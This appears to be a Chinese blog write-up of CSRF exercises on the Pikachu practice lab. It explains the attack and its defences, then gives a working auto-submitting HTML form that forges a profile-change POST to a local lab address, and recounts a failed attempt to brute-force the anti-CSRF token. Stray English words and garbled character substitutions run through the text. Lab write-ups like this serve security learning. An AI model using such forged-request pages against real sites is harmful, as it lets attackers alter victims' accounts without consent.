Pikachu-CSRF(跨站请求伪造)

时间 2019-12-19

原文原文链接

Pikachu-CSRF(跨站请求伪造)

CSRF(跨站请求伪造)概述 Cross-site request forgery 简称为“CSRF”，在CSRF的攻击场景中攻击者会伪造一个请求（这个请求通常是一个连接），而后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击就完成了。因此CSRF攻击也成为"one click"攻击。不少人搞不清楚CSRF的概念，甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚致使的。

场景需求：
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改本身的密码的：
登陆---修改会员信息，提交请求---修改为功。
因此小黑想要修改大白的信息，他须要拥有：1，登陆权限 2，修改我的信息的请求。
可是大白又不会把本身xxx网站的帐号密码告诉小黑，那小黑怎么办？
因而他本身跑到www.xx.com上注册了一个本身的帐号，而后修改了一下本身的我的信息（好比：E-mail地址），他发现修改的请求是：
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
因而，他实施了这样一个操做：把这个连接假装一下，在小白登陆xxx网站后，欺骗他进行点击，小白点击这个连接后，我的信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操做可以实现呢。有以下几个关键点：
1.www.xxx.com这个网站在用户修改我的的信息时没有过多的校验，致使这个请求容易被伪造;
---所以，咱们判断一个网站是否存在CSRF漏洞，其实就是判断其对关键信息（好比密码等敏感信息）的操做(增删改)是否容易被伪造。
2.小白点击了小黑发给的连接，而且这个时候小白恰好登陆在购物网上;
---若是小白安全意识高，不点击不明连接，则攻击不会成功，又或者即便小白点击了连接，但小白此时并无登陆购物网站，也不会成功。
---所以，要成功实施一次CSRF攻击，须要“天时，地利，人和”的条件。
固然，若是小黑事先在xxx网的首页若是发现了一个XSS漏洞，则小黑可能会这样作：欺骗小白访问埋伏了XSS脚本（盗取cookie的脚本）的页面，小白中招，小黑拿到小白的cookie，而后小黑顺利登陆到小白的后台，小黑本身修改小白的相关信息。
---因此跟上面比一下，就能够看出CSRF与XSS的区别：CSRF是借用户的权限完成攻击，攻击者并无拿到用户的权限，而XSS是直接盗取到了用户的权限，而后实施破坏。所以，网站若是要防止CSRF攻击，则须要对敏感信息的操做实施对应的安全措施，防止这些操做出现被伪造的状况，从而致使CSRF。好比：
--对敏感信息的操做增长安全的token；
--对敏感信息的操做增长安全的验证码；
--对敏感信息的操做实施安全的逻辑流程，好比修改密码时，须要先校验旧密码等。php

开始今天的实验。html

1、CSRF(get) login

万事开头先抓包：apache

先登陆，帐号有vince/allen/kobe/grady/kevin/lucy/lili，密码所有是123456安全

修改一下我的信息看看包长啥样：cookie

后台没作CSRF token，同时也是经过GET请求来提交修改信息，咱们拿到这个，修改一下，而后让allen点击就好，咱们构造的URL中把地址add改成hacker。allen一点击就修改了地址。post

这其实只是直接修改了用户提交数据以达到篡改的目的。网站

2、CSRF(post)

众所周知，post形式的构造是没法在url中体现的。因此只能从请求包中的参数想办法。url

这里直接使用别人写的script,思路是本身搭一个页面，诱导用户点进来，劫持用户发送修改信息的请求。spa

 1 <html>
 2 <head>
 3 <script>
 4 window.onload = function() {
 5   document.getElementById("postsubmit").click();
 6 }
 7 </script>
 8 </head>
 9 <body>
10 <form method="post" action="http://192.168.1.104/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
11     <input id="sex" type="text" name="sex" value="boy" />
12     <input id="phonenum" type="text" name="phonenum" value="54213" />
13     <input id="add" type="text" name="add" value="hacker" />
14     <input id="email" type="text" name="email" value="allen@pikachu.com" />
15     <input id="postsubmit" type="submit" name="submit" value="submit" />
16 </form>
17 </body>
18 </html>

（本人主机ip192.168.1.104,apache也搭在这个上面。正所谓：“我打我本身”）code

把这个页面放在pikachu/doge_csrf上

点进这个连接康康：

神奇的事情发生了！！！

3、CSRF Token

……

反正我没作出来这个……

而后忽然想，试试爆破的方式，绕过token???

而后爆破完了，提交上去，而后，我到底在干什么？？？

这里提交数据加上了token，每次提交是有一个随机的token 用于验证（有点像一次一密？这么耗资源的事情大公司应该都不会这么干）

这里的确是无法伪造的。

因此我上述干的全部事情在我作完以后，就在想本身到底在干什么，就以为本身刚才是否是懵*了……我只是单纯提交了一次的token 下一次token就换掉了，实质上没有任何的意义。

下面的过程给各位看官看看，纯属为了博各位一笑。

抓个包：

本着不行也得上的原则，我决定试试绕过token康康。

首先很高兴的是，这个地方是用get方式上传滴，因此直接修改请求包里面的内容就行了。

修改好请求包的部分以及爆破token。

（就是它！！！）